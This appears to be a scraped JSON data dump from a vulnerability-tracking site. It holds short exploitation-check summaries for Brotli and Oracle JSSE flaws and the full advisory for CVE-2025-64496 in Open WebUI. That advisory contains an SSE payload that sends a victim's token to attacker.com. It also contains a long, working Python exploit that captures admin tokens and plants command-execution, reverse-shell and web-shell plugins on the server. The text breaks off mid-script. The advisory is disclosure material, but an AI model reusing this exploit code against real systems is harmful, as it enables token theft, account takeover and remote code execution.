[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-64496":30,"landing-articles":109},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":53,"technologies":57,"references":60,"score":65,"epss_score":66,"epss_percentile":67,"is_kev":68,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":69,"attack_mappings":79,"exploits":107},85160,"CVE-2025-64496","EUVD-2025-38253","Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events\n\n### Summary\nOpen WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.\n\n\n### Details\nROOT CAUSE ANALYSIS:\n\nOpen WebUI's Direct Connections feature allows users to add external OpenAI-compatible \nmodel servers without proper validation of the Server-Sent Events (SSE) these servers emit.\n\nVULNERABLE COMPONENT: Frontend SSE Event Handler\n\nThe frontend JavaScript code processes SSE events from external servers and specifically \nhandles an `execute` event type that triggers arbitrary JavaScript execution:\n\n\u002F\u002F Approximate vulnerable code location (frontend SSE handler)\nif (event.type === 'execute') {\n  const func = new Function(event.data.code);  \u002F\u002F CRITICAL: Unsafe code execution\n  await func();\n}\n\nVULNERABILITY DETAILS:\n\n1. No validation of external server trustworthiness\n2. No allowlist of trusted model providers  \n3. No event type whitelisting or filtering\n4. Direct execution of code from `execute` events using `new Function()`\n5. No sandboxing or Content Security Policy enforcement\n6. Full browser context access (localStorage, cookies, DOM)\n\nATTACK VECTOR:\n\n1. Attacker deploys malicious OpenAI-compatible API server\n2. Social engineering: \"Try my free GPT-4 alternative at http:\u002F\u002Fattacker.com:8000\"\n3. Victim enables Direct Connections (Admin Settings → Connections)\n\u003Cimg width=\"3466\" height=\"2232\" alt=\"CleanShot 2025-10-10 at 10 41 57@2x\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F910f8c49-12ee-4ff7-8e75-6dcc139ab002\" \u002F>\n5. Victim adds attacker's URL as external connection\n6. Victim sends ANY message to the malicious model\n7. Malicious server responds with SSE stream including:\n\n   data: {\"event\": {\"type\": \"execute\", \"data\": {\"code\": \"fetch('http:\u002F\u002Fattacker.com\u002Fsteal?t=' + localStorage.token)\"}}}\n\n8. Frontend executes the malicious code via `new Function()`\n9. JWT token exfiltrated to attacker's server\n10. Token is valid permanently (expires_at: null)\n\nEXPLOITATION EVIDENCE:\n\nTested on Open WebUI v0.6.33 (2025-10-08):\n- Token successfully captured in \u003C ~5 seconds\n- Admin token obtained with full privileges\n- Token format: JWT stored in localStorage\n- Token validation confirmed via `\u002Fapi\u002Fv1\u002Fusers\u002Fuser\u002Finfo](http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fv1\u002Fauths\u002F`\n\nCWE CLASSIFICATIONS:\n\nPrimary:\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n\nSecondary:\n- CWE-830: Inclusion of Web Functionality from an Untrusted Source\n- CWE-501: Trust Boundary Violation\n- CWE-522: Insufficiently Protected Credentials (token in localStorage)\n\nCHAINED IMPACT:\n\nWhen admin token is stolen, attacker can exploit Functions API to achieve RCE\non backend server (see separate report for Functions\u002FTools vulnerability).\n\n### PoC\nPROOF OF CONCEPT - COMPLETE REPRODUCTION\n\nPREREQUISITES:\n- Open WebUI v0.6.33 running (tested version)\n- Node.js v18+ for malicious server\n- Python 3.8+ for token listener\n\nENVIRONMENT SETUP:\n\nFor Docker deployment:\nClone the repository Open WebUI v0.6.33 and run `docker compose up`\n\nEXPLOITATION STEPS:\n\nStep 1: Create Malicious Model Server (malicious-server.js)\n\n```\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nOpen WebUI - Automated Token Capture to RCE\n============================================\nALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE\n\nThis script demonstrates how quickly an attacker can go from\ntoken theft to full server compromise.\n\nUsage:\n    python3 auto_exploit.py                    # Auto RCE (via Functions)\n    python3 auto_exploit.py --tool             # Use Tools API instead\n    python3 auto_exploit.py --shell HOST PORT  # Reverse shell\n\nLAB ENVIRONMENT ONLY\n\"\"\"\n\nimport http.server\nimport socketserver\nimport threading\nimport requests\nimport json\nimport sys\nimport time\nimport argparse\nfrom urllib.parse import urlparse, parse_qs\nfrom datetime import datetime\n\n# Configuration\nEXFIL_PORT = 8081\nOPEN_WEBUI_URL = 'http:\u002F\u002Flocalhost:3000'\n\n# Global state\ncaptured_token = None\ntoken_received = threading.Event()\n\nclass Colors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKCYAN = '\\033[96m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n\nclass TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):\n    \"\"\"HTTP handler that captures tokens and triggers immediate exploitation\"\"\"\n\n    def log_message(self, format, *args):\n        pass  # Suppress default logging\n\n    def do_GET(self):\n        global captured_token\n\n        parsed = urlparse(self.path)\n        query_params = parse_qs(parsed.query)\n\n        if 'token' in query_params:\n            token = query_params['token'][0]\n            timestamp = datetime.now().strftime('%H:%M:%S')\n\n            print(f\"\\n{Colors.OKGREEN}{'='*60}{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}{Colors.BOLD}[{timestamp}] TOKEN CAPTURED!{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}{'='*60}{Colors.ENDC}\")\n            print(f\"{Colors.OKBLUE}[*] Token length: {len(token)} chars{Colors.ENDC}\")\n            print(f\"{Colors.OKBLUE}[*] Source: {self.client_address[0]}{Colors.ENDC}\")\n\n            captured_token = token\n            token_received.set()  # Signal that token is ready\n\n        # Send response\n        self.send_response(200)\n        self.send_header('Content-type', 'application\u002Fjson')\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.end_headers()\n        self.wfile.write(json.dumps({'status': 'received'}).encode())\n\n    def do_OPTIONS(self):\n        \"\"\"Handle CORS preflight\"\"\"\n        self.send_response(200)\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')\n        self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n        self.end_headers()\n\ndef start_listener():\n    \"\"\"Start the token capture listener in background thread\"\"\"\n    Handler = TokenCaptureHandler\n    with socketserver.TCPServer((\"\", EXFIL_PORT), Handler) as httpd:\n        httpd.serve_forever()\n\ndef verify_token(token):\n    \"\"\"Verify token is valid\"\"\"\n    try:\n        response = requests.get(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Fusers\u002Fuser\u002Finfo',\n            headers={'Authorization': f'Bearer {token}'},\n            timeout=5\n        )\n        return response.status_code == 200\n    except:\n        return False\n\ndef create_command_execution(token, command):\n    \"\"\"Create a function that executes a command\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Weaponizing token...{Colors.ENDC}\")\n\n    malicious_code = f'''\"\"\"\ntitle: Auto Exploit\n\"\"\"\nimport subprocess\nimport sys\n\nclass Pipe:\n    def __init__(self):\n        try:\n            result = subprocess.check_output(\n                {repr(command)},\n                shell=True,\n                stderr=subprocess.STDOUT,\n                text=True,\n                timeout=30\n            )\n            print(f\"[AUTO_EXPLOIT_OUTPUT]\\\\n{{result}}\", file=sys.stderr)\n        except Exception as e:\n            print(f\"[AUTO_EXPLOIT_ERROR] {{e}}\", file=sys.stderr)\n\n    def pipe(self, body: dict) -> dict:\n        return body\n'''\n\n    payload = {\n        \"id\": f\"auto_exploit_{int(time.time())}\",\n        \"name\": \"Auto Exploit\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Automated exploitation\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ffunctions\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            return True\n        else:\n            print(f\"{Colors.FAIL}[!] RCE failed: {response.status_code}{Colors.ENDC}\")\n            print(f\"{Colors.FAIL}[!] {response.text}{Colors.ENDC}\")\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\ndef create_reverse_shell(token, host, port):\n    \"\"\"Create a function that spawns reverse shell\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Creating reverse shell...{Colors.ENDC}\")\n\n    malicious_code = f'''\"\"\"\ntitle: Reverse Shell\n\"\"\"\nimport socket\nimport subprocess\nimport os\nimport sys\nimport threading\n\nclass Pipe:\n    def __init__(self):\n        def connect():\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                s.connect((\"{host}\", {port}))\n\n                # Duplicate file descriptors\n                os.dup2(s.fileno(), 0)\n                os.dup2(s.fileno(), 1)\n                os.dup2(s.fileno(), 2)\n\n                # Spawn shell\n                subprocess.call([\"\u002Fbin\u002Fsh\", \"-i\"])\n            except Exception as e:\n                print(f\"[SHELL_ERROR] {{e}}\", file=sys.stderr)\n\n        # Run in background thread to avoid blocking\n        threading.Thread(target=connect, daemon=True).start()\n\n    def pipe(self, body: dict) -> dict:\n        return body\n'''\n\n    payload = {\n        \"id\": f\"revshell_{int(time.time())}\",\n        \"name\": \"Reverse Shell\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Reverse shell\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ffunctions\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            return True\n        else:\n            print(f\"{Colors.FAIL}[!] Shell creation failed: {response.status_code}{Colors.ENDC}\")\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\ndef create_interactive_shell_function(token):\n    \"\"\"Create a web-based command execution function\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Creating interactive shell handler...{Colors.ENDC}\")\n\n    malicious_code = '''\"\"\"\ntitle: Web Shell\n\"\"\"\nimport subprocess\nimport sys\n\nclass Pipe:\n    def __init__(self):\n        pass\n\n    def pipe(self, body: dict) -> dict:\n        \"\"\"Execute commands from pipe input\"\"\"\n        if 'messages' in body and len(body['messages']) > 0:\n            last_message = body['messages'][-1]\n            if 'content' in last_message:\n                cmd = last_message['content']\n\n                # Check for shell command prefix\n                if cmd.startswith('!shell '):\n                    command = cmd[7:]  # Remove '!shell ' prefix\n                    try:\n                        result = subprocess.check_output(\n                            command,\n                            shell=True,\n                            stderr=subprocess.STDOUT,\n                            text=True,\n                            timeout=30\n                        )\n                        # Inject result into response\n                        body['messages'].append({\n                            'role': 'assistant',\n                            'content': f'```\\\\n{result}\\\\n```'\n                        })\n                    except Exception as e:\n                        body['messages'].append({\n                            'role': 'assistant',\n                            'content': f'Error: {str(e)}'\n                        })\n\n        return body\n'''\n\n    payload = {\n        \"id\": f\"webshell_{int(time.time())}\",\n        \"name\": \"Web Shell\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Interactive web shell\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ffunctions\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            # Enable the function\n            function_id = response.json().get('id')\n            requests.post(\n                f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ffunctions\u002Fid\u002F{function_id}\u002Ftoggle',\n                headers=headers,\n                timeout=10\n            )\n            return True\n        else:\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\n# ============================================================================\n# TOOLS API EXPLOITATION (Alternative to Functions API)\n# Both vulnerable via exec() in plugin.py:101\n# ============================================================================\n\ndef create_tool_command_execution(token, command):\n    \"\"\"Create a Tool that executes a command (via Tools API)\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Weaponizing token via Tools API...{Colors.ENDC}\")\n\n    malicious_code = f'''\"\"\"\ntitle: Auto Exploit Tool\n\"\"\"\nimport subprocess\nimport sys\n\nclass Tools:\n    def __init__(self):\n        try:\n            result = subprocess.check_output(\n                {repr(command)},\n                shell=True,\n                stderr=subprocess.STDOUT,\n                text=True,\n                timeout=30\n            )\n            print(f\"[AUTO_EXPLOIT_TOOL_OUTPUT]\\\\n{{result}}\", file=sys.stderr)\n        except Exception as e:\n            print(f\"[AUTO_EXPLOIT_TOOL_ERROR] {{e}}\", file=sys.stderr)\n'''\n\n    payload = {\n        \"id\": f\"auto_tool_{int(time.time())}\",\n        \"name\": \"Auto Exploit Tool\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Automated exploitation via Tools\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ftools\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            return True\n        else:\n            print(f\"{Colors.FAIL}[!] Tool RCE failed: {response.status_code}{Colors.ENDC}\")\n            print(f\"{Colors.FAIL}[!] {response.text}{Colors.ENDC}\")\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\ndef create_tool_reverse_shell(token, host, port):\n    \"\"\"Create a Tool that spawns reverse shell\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Creating reverse shell via Tools API...{Colors.ENDC}\")\n\n    malicious_code = f'''\"\"\"\ntitle: Reverse Shell Tool\n\"\"\"\nimport socket\nimport subprocess\nimport os\nimport sys\nimport threading\n\nclass Tools:\n    def __init__(self):\n        def connect():\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                s.connect((\"{host}\", {port}))\n\n                os.dup2(s.fileno(), 0)\n                os.dup2(s.fileno(), 1)\n                os.dup2(s.fileno(), 2)\n\n                subprocess.call([\"\u002Fbin\u002Fsh\", \"-i\"])\n            except Exception as e:\n                print(f\"[TOOL_SHELL_ERROR] {{e}}\", file=sys.stderr)\n\n        threading.Thread(target=connect, daemon=True).start()\n'''\n\n    payload = {\n        \"id\": f\"tool_revshell_{int(time.time())}\",\n        \"name\": \"Reverse Shell Tool\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Reverse shell via Tools\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ftools\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            return True\n        else:\n            print(f\"{Colors.FAIL}[!] Tool shell creation failed: {response.status_code}{Colors.ENDC}\")\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\ndef create_tool_interactive_shell(token):\n    \"\"\"Create an interactive Tool for command execution\"\"\"\n    timestamp = datetime.now().strftime('%H:%M:%S')\n    print(f\"\\n{Colors.WARNING}[{timestamp}] Creating interactive Tool shell...{Colors.ENDC}\")\n\n    malicious_code = '''\"\"\"\ntitle: Interactive Tool Shell\n\"\"\"\nimport subprocess\nimport sys\nimport json\n\nclass Tools:\n    def __init__(self):\n        pass\n\n    def execute(self, params: dict) -> str:\n        \"\"\"Execute commands via tool parameters\"\"\"\n        if 'command' in params:\n            cmd = params['command']\n            try:\n                result = subprocess.check_output(\n                    cmd,\n                    shell=True,\n                    stderr=subprocess.STDOUT,\n                    text=True,\n                    timeout=30\n                )\n                return json.dumps({\"output\": result, \"status\": \"success\"})\n            except Exception as e:\n                return json.dumps({\"error\": str(e), \"status\": \"error\"})\n        return json.dumps({\"error\": \"No command provided\", \"status\": \"error\"})\n'''\n\n    payload = {\n        \"id\": f\"tool_webshell_{int(time.time())}\",\n        \"name\": \"Interactive Tool Shell\",\n        \"content\": malicious_code,\n        \"meta\": {\"description\": \"Interactive tool shell\", \"manifest\": {}}\n    }\n\n    headers = {\n        'Authorization': f'Bearer {token}',\n        'Content-Type': 'application\u002Fjson'\n    }\n\n    try:\n        response = requests.post(\n            f'{OPEN_WEBUI_URL}\u002Fapi\u002Fv1\u002Ftools\u002Fcreate',\n            headers=headers,\n            json=payload,\n            timeout=30\n        )\n\n        if response.status_code == 200:\n            return True\n        else:\n            return False\n    except Exception as e:\n        print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n        return False\n\ndef print_banner():\n    print(f\"\\n{Colors.FAIL}{Colors.BOLD}{'='*60}\")\n    print(f\"  Open WebUI - Automated Token to RCE Exploit\")\n    print(f\"  Time to Shell: ~5 seconds from prompt to shell\")\n    print(f\"{'='*60}{Colors.ENDC}\\n\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Automated token capture and RCE')\n    parser.add_argument('--shell', nargs=2, metavar=('HOST', 'PORT'),\n                       help='Reverse shell mode (HOST PORT)')\n    parser.add_argument('--command', '-c', help='Execute specific command')\n    parser.add_argument('--interactive', '-i', action='store_true',\n                       help='Create interactive web shell')\n    parser.add_argument('--tool', '-t', action='store_true',\n                       help='Use Tools API instead of Functions API (both vulnerable)')\n\n    args = parser.parse_args()\n\n    print_banner()\n\n    # Start listener in background\n    print(f\"{Colors.OKBLUE}[*] Starting token capture listener on port {EXFIL_PORT}...{Colors.ENDC}\")\n    listener_thread = threading.Thread(target=start_listener, daemon=True)\n    listener_thread.start()\n    time.sleep(1)\n\n    print(f\"{Colors.OKGREEN}[+] Listener ready{Colors.ENDC}\")\n    print(f\"{Colors.WARNING}[*] Admin must start a chat with malicious model{Colors.ENDC}\")\n    print(f\"\\n{Colors.OKCYAN}[~] Listening for token on http:\u002F\u002F0.0.0.0:{EXFIL_PORT}\u002Fleak{Colors.ENDC}\\n\")\n\n    # Wait for token\n    start_time = time.time()\n    token_received.wait()  # Block until token is captured\n\n    elapsed = time.time() - start_time\n    timestamp = datetime.now().strftime('%H:%M:%S')\n\n    print(f\"\\n{Colors.OKBLUE}[{timestamp}] Verifying token...{Colors.ENDC}\")\n\n    if not verify_token(captured_token):\n        print(f\"{Colors.FAIL}[!] Token verification failed{Colors.ENDC}\")\n        sys.exit(1)\n\n    print(f\"{Colors.OKGREEN}[+] Token valid!{Colors.ENDC}\")\n\n    # Show which API will be used\n    api_type = \"Tools API\" if args.tool else \"Functions API\"\n    print(f\"{Colors.OKCYAN}[*] Exploitation method: {api_type}{Colors.ENDC}\")\n    print(f\"{Colors.OKCYAN}[*] Vulnerable code: plugin.py:{101 if args.tool else 145} (exec){Colors.ENDC}\")\n\n    # Calculate time to shell\n    exploitation_start = time.time()\n\n    # Execute based on mode\n    if args.shell:\n        # Reverse shell mode\n        host, port = args.shell\n        print(f\"{Colors.WARNING}\\n[*] Target: {host}:{port}{Colors.ENDC}\")\n        print(f\"{Colors.WARNING}[!] Make sure listener is running: nc -lvnp {port}{Colors.ENDC}\\n\")\n\n        # Choose function based on --tool flag\n        if args.tool:\n            success = create_tool_reverse_shell(captured_token, host, int(port))\n        else:\n            success = create_reverse_shell(captured_token, host, int(port))\n\n        if success:\n            total_time = time.time() - start_time\n            print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] SHELL DELIVERED!{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Check your listener for connection{Colors.ENDC}\\n\")\n        else:\n            print(f\"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}\")\n\n    elif args.interactive:\n        # Interactive web shell\n        if args.tool:\n            success = create_tool_interactive_shell(captured_token)\n        else:\n            success = create_interactive_shell_function(captured_token)\n\n        if success:\n            total_time = time.time() - start_time\n            print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] WEB SHELL ACTIVE!{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n            if args.tool:\n                print(f\"\\n{Colors.OKCYAN}Usage: Call tool with command parameter{Colors.ENDC}\")\n            else:\n                print(f\"\\n{Colors.OKCYAN}Usage in Open WebUI chat:{Colors.ENDC}\")\n                print(f\"  !shell whoami\")\n                print(f\"  !shell id\")\n                print(f\"  !shell cat 